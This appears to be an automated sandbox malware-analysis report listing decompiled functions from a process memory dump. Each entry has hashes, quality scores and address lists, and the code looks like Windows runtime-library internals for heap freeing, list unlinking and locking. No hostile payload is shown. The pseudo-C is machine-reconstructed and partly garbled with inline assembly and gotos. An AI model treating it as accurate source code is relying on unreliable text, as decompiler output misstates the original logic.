Instruction ID: a902bbdce476aa5061c4423310e8f5d1b242f0638be00d408734618b7d21cf14
Opcode Fuzzy Hash: 09086973c69be444ee77d07d4c6a3295e93f884b8691a8f62469f2e82f3a017e
Instruction Fuzzy Hash: E8212532480600DFD721EF28CA50F59B7BAEF18708F644968E14A877A1CB34ED55CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 02D5B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E02D5B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E02D42280(_t12, 0x2e18608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E02D600C2(0x2e18608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x02d5b395
0x02d5b3a2
0x02d5b3a5
0x02d5b3aa
0x02d5b3b2
0x02d5b3ba
0x02d5b3bd
0x02d5b3c0
0x02d5b3c4
0x02d5b3c9
0x02d9a3e9
0x02d9a3ed
0x02d9a3f0
0x02d9a3ff
0x02d9a403
0x02d9a409
0x00000000
0x00000000
0x02d9a40b
0x02d9a40b
0x02d9a40f
0x02d9a415
0x02d9a423
0x02d9a423
0x02d9a415
0x02d5b3d1
0x02d5b3e8
0x02d5b3e8
0x02d5b3d9

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3541602832023b71f5020266c1cf8e8a00eff318fd223185d457c64875b6989
Instruction ID: 4b38fabd63bf8aa9af4899f74d03ea1c09504c7eb81bf063fd7ad8941679d6e2
Opcode Fuzzy Hash: b3541602832023b71f5020266c1cf8e8a00eff318fd223185d457c64875b6989
Instruction Fuzzy Hash: D91144333011209FDF28CA548D81A2F7257EBC5370B28513AED9697380CA32AC02C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 02DB4257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E02DB4257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x2e008d0);
				E02D7D08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E02DB41E8(__ebx, __edi, __ecx, _t39);
				E02D3EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x2e187e4;
					_t18 =  *0x2e187e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x2e15cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x2e187e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x2e187e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L02D27055(_t31 + 0xfffffff8);
								_t24 =  *0x2e187e0; // 0x0
								_t18 = _t24 - 1;
								 *0x2e187e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x2e15cd0;
				if( *0x2e15cd0 <= 0) {
					L02D27055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x2e187e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x2e187e8 = _t30;
						 *0x2e187e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E02D7D0D1(L02DB4320());
			}

0x02db4257
0x02db4257
0x02db4257
0x02db4259
0x02db425e
0x02db4263
0x02db4265
0x02db4273
0x02db4278
0x02db427c
0x02db427f
0x02db4281
0x02db4287
0x02db42d7
0x02db42d7
0x02db42da
0x02db428d
0x02db428d
0x02db428f
0x02db4292
0x02db4297
0x02db429c
0x02db42a0
0x02db42a6
0x02db42a8
0x02db42ae
0x02db42b3
0x00000000
0x02db42ba
0x02db42ba
0x02db42bf
0x02db42c5
0x02db42ca
0x02db42cf
0x02db42d0
0x00000000
0x02db42d0
0x02db42b3
0x00000000
0x02db42a6
0x02db429c
0x02db42dc
0x02db42dc
0x02db42e3
0x02db4309
0x02db42e5
0x02db42e5
0x02db42e8
0x02db42ee
0x02db42f0
0x00000000
0x02db42f2
0x02db42f2
0x02db42f4
0x02db42f7
0x02db42f9
0x02db4300
0x02db4300
0x02db42f0
0x02db430e
0x02db431f

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7d32210a41cd91cefb29d790a9ebb214455d41eafe64f228bbd5f21a5e3485
Instruction ID: a5e1d9cfcfb98de674fb372f0844c1fc6cdf8be99539b54c56a9ecd09a14dc36
Opcode Fuzzy Hash: 2e7d32210a41cd91cefb29d790a9ebb214455d41eafe64f228bbd5f21a5e3485
Instruction Fuzzy Hash: 3E213570D81600CFE726DF26D160A94B7A2FF85354FA4C66AC196CB392EB319892CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DA46A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E02DA46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L02D44620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E02D6F3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E02D5D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L02D477F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x02da46b7
0x02da46ba
0x02da46c5
0x02da46c8
0x02da46d0
0x02da46d4
0x02da46e6
0x02da46e9
0x02da46f4
0x02da46ff
0x02da4705
0x02da4706
0x02da470c
0x02da4713
0x02da471b
0x02da4723
0x02da4725
0x02da46d6
0x02da46d9
0x02da46db
0x02da46db
0x02da4732

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: 05c8b9ecc6302b25c2ba70f645b3091b0a19df7745344b66193f9cd672e614f8
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 9211E572504248BFCB059F5CD880DBEB7BAEF95300F10806AF984C7350DA718D55D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 02D637F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E02D637F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E02D42280(_t6, 0x2e18550);
				}
				_t29 = E02D6387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E02D3FFB0(0x2e18550, _t27, 0x2e18550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x02d637fa
0x02d637fc
0x02d63805
0x02d63808
0x02d63808
0x02d63814
0x02d63818
0x02d63846
0x02d63848
0x02d6384b
0x02d6384b
0x02d63852
0x00000000
0x02d63854
0x02d63856
0x00000000
0x00000000
0x02d63863
0x00000000
0x02d63863
0x02d6381a
0x02d6381a
0x02d6381f
0x02d6386e
0x02d6386e
0x02d63871
0x02d63873
0x02d63873
0x02d63868
0x00000000
0x02d63868
0x02d63821
0x02d63826
0x00000000
0x00000000
0x02d63828
0x02d6382a
0x02d63841
0x00000000
0x02d63841

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b11e037330f63ef325e046c0e6f696019f4edabf97f2cf7ce98f7e161c453bbe
Instruction ID: 6a99cba6e0bd0fead1b6e05e20112b1aef0b6e51a1508a5afe90df6b19cfe846
Opcode Fuzzy Hash: b11e037330f63ef325e046c0e6f696019f4edabf97f2cf7ce98f7e161c453bbe
Instruction Fuzzy Hash: DB0196B29456109BC3778B1AD948E7ABBB7DF86F60B1544A9E9458B311DB30DC01CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02D2C962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E02D2C962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				char _t22;
				void* _t26;
				void* _t27;
				char _t32;
				char _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x2e1d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E02D3EEF0(0x2e170a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E02DAF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E02D3EB70(_t29, 0x2e170a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E02D6B640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E02DAF1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x2e170c0; // 0x0
					while(_t38 != 0x2e170c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x2e1b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x02d2c96a
0x02d2c974
0x02d2c988
0x02d2c98a
0x02d97c9d
0x02d97c9f
0x02d97ca4
0x02d97cae
0x02d97cf0
0x02d97cf5
0x02d97cfa
0x02d2c992
0x02d2c996
0x02d2c997
0x02d2c998
0x02d2c9a3
0x02d2c9a3
0x02d97cb0
0x02d97cb7
0x02d97cbb
0x00000000
0x00000000
0x02d97cbd
0x02d97ce8
0x02d97cc5
0x02d97cc8
0x02d97cca
0x02d97cd0
0x02d97cd6
0x02d97cde
0x02d97ce4
0x02d97ce4
0x02d97cd0
0x00000000
0x02d97ce8
0x02d2c990
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccf8363aaca4a9efcb45be110d6cd1b39f0545fe30c39f338d22c135b325b7d
Instruction ID: b36b6044af583ce959dcef1fc2a846a2b98168037a83d5cdfd08153b5a393e5a
Opcode Fuzzy Hash: 7ccf8363aaca4a9efcb45be110d6cd1b39f0545fe30c39f338d22c135b325b7d
Instruction Fuzzy Hash: 9811AC327506469BEB11AF29DC85A2AF7E6FF84614F400539F88693790DB20EC50CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 02D3766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E02D3766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E02D5F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E02D5F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L02D44620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x02d37672
0x02d3767f
0x02d37689
0x02d376de
0x02d376de
0x02d3768b
0x02d37691
0x02d37693
0x02d37697
0x00000000
0x02d37699
0x02d376a8
0x00000000
0x02d376aa
0x02d376ad
0x02d376b1
0x00000000
0x02d376b3
0x02d376b3
0x02d376b5
0x02d376ba
0x02d376bc
0x02d376bc
0x02d376c0
0x00000000
0x02d376c2
0x02d376ce
0x02d376ce
0x02d376c0
0x02d376b1
0x02d376a8
0x02d37697
0x02d376d9

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: f2e9409ea149382537fb00b394eb27a32b54d69caa8027bcabf6781dc16e621e
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: A801D4B2301598AFE7619F5ECC60E5BB7ADEB847A0F240124B908CB350DA70DC01C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 02D29080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E02D29080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x2e185ec;
				E02D42280(_t48, 0x2e185ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E02D3FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x2e1538c; // 0x771c6888
					if( *_t84 != 0x2e15388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x2dff6e8);
						E02D7D0E8(0x2e185ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E02DF88F5(_t80, _t85, 0x2e15388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x2e186c0; // 0x2e07b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x2e186b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E02D42280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E02DF88F5(0x2e185ec, _t85, 0x2e15388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E02D6AFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x2e1b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x2e184c0;
																			if(_t82 >=  *0x2e184c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E02DF9063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E02D2922A(_t99);
										_t64 = E02D47D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E02DF8B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x2e186c0; // 0x2e07b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x2e186b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x2e186bc;
													_t87 = 0x2e186b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E02D29240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x2e186c4;
												_t87 = 0x2e186c0;
												L27:
												E02D59B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E02D7D130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x2e15388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x2e1538c = _t51;
						goto L6;
					}
				}
			}

0x02d29082
0x02d29083
0x02d29084
0x02d29085
0x02d29087
0x02d29096
0x02d29098
0x02d29098
0x02d2909e
0x02d290a8
0x02d290e7
0x02d290e7
0x02d290aa
0x02d290b0
0x02d290b7
0x02d290bd
0x02d290dd
0x02d290e6
0x02d290bf
0x02d290bf
0x02d290c7
0x02d290cf
0x02d290f1
0x02d290f2
0x02d290f4
0x02d290f5
0x02d290f6
0x02d290f7
0x02d290f8
0x02d290f9
0x02d290fa
0x02d290fb
0x02d290fc
0x02d290fd
0x02d290fe
0x02d290ff
0x02d29100
0x02d29102
0x02d29107
0x02d2910c
0x02d29110
0x02d29113
0x02d29115
0x02d29136
0x02d2913f
0x02d29143
0x02d837e4
0x02d837e4
0x02d29117
0x02d29117
0x02d2911d
0x00000000
0x02d2911f
0x02d2911f
0x02d29125
0x00000000
0x02d29127
0x02d2912d
0x02d29130
0x02d29134
0x02d29158
0x02d2915d
0x02d29161
0x02d29168
0x02d83715
0x02d2916e
0x02d2916e
0x02d29175
0x02d29177
0x02d2917e
0x02d2917f
0x02d29182
0x02d29182
0x02d29187
0x02d29187
0x02d2918a
0x02d2918d
0x02d2918f
0x02d29192
0x02d29195
0x02d29198
0x02d29198
0x02d29198
0x02d2919a
0x00000000
0x00000000
0x02d8371f
0x02d83721
0x02d83727
0x02d8372f
0x02d83733
0x02d83735
0x02d83738
0x02d8373b
0x02d8373d
0x02d83740
0x00000000
0x02d83746
0x02d83746
0x02d83749
0x00000000
0x02d8374f
0x02d8374f
0x02d83751
0x02d83757
0x02d83759
0x02d8375c
0x02d8375c
0x02d8375e
0x02d8375e
0x02d83761
0x02d83764
0x00000000
0x00000000
0x02d83766
0x02d83768
0x02d837a3
0x02d837a3
0x02d837a5
0x02d837a7
0x02d837ad
0x02d837b0
0x02d837b2
0x02d837bc
0x02d837c2
0x02d837c2
0x02d837b2
0x02d29187
0x02d29187
0x02d2918a
0x02d2918d
0x02d2918f
0x02d29192
0x02d29195
0x00000000
0x02d29195
0x00000000
0x02d8376a
0x02d8376a
0x02d8376a
0x02d8376c
0x02d8376c
0x02d8376f
0x02d83775
0x00000000
0x00000000
0x02d83777
0x02d83779
0x02d83782
0x02d83787
0x02d83789
0x02d83790
0x02d83790
0x02d8378b
0x02d8378b
0x02d8378b
0x02d83792
0x02d83795
0x00000000
0x02d83795
0x00000000
0x02d83779
0x02d83798
0x00000000
0x02d83798
0x00000000
0x02d83768
0x02d8379b
0x02d8379b
0x02d83751
0x02d83749
0x00000000
0x02d83740
0x02d291a0
0x02d291a3
0x02d291a9
0x02d291b0
0x00000000
0x02d291b0
0x02d29187
0x02d291b4
0x02d291b4
0x02d291bb
0x02d291c0
0x02d291c5
0x02d291c7
0x02d837da
0x02d291cd
0x02d291cd
0x02d291cd
0x02d291d2
0x02d291d5
0x02d29239
0x02d29239
0x02d291d7
0x02d291db
0x02d291e1
0x02d291e7
0x02d291fd
0x02d29203
0x02d2921e
0x02d29223
0x00000000
0x02d29205
0x02d29205
0x02d29208
0x02d2920c
0x02d29214
0x02d29214
0x02d2920c
0x02d291e9
0x02d291e9
0x02d291ee
0x02d291f3
0x02d291f3
0x02d291f3
0x02d291e7
0x00000000
0x00000000
0x00000000
0x02d29134
0x02d29125
0x02d2911d
0x02d2914e
0x02d290d1
0x02d290d1
0x02d290d3
0x02d290d6
0x02d290d8
0x00000000
0x02d290d8
0x02d290cf

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17e7596c347d6ca221131d8a671612c275e679ad2f76020612f6dc5b17cb2307
Instruction ID: 1b95eb265b6d6d54d4c206de3ef17e8c22b27877b59171d097c581b3e7b68864
Opcode Fuzzy Hash: 17e7596c347d6ca221131d8a671612c275e679ad2f76020612f6dc5b17cb2307
Instruction Fuzzy Hash: E8012272A412188FD3258F19D940B16BBBAEF82328F318176E601CB791C370DC81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DBC450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E02DBC450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E02D69910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E02D695B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E02D695D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E02D695D0();
				return L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x02dbc458
0x02dbc45d
0x02dbc466
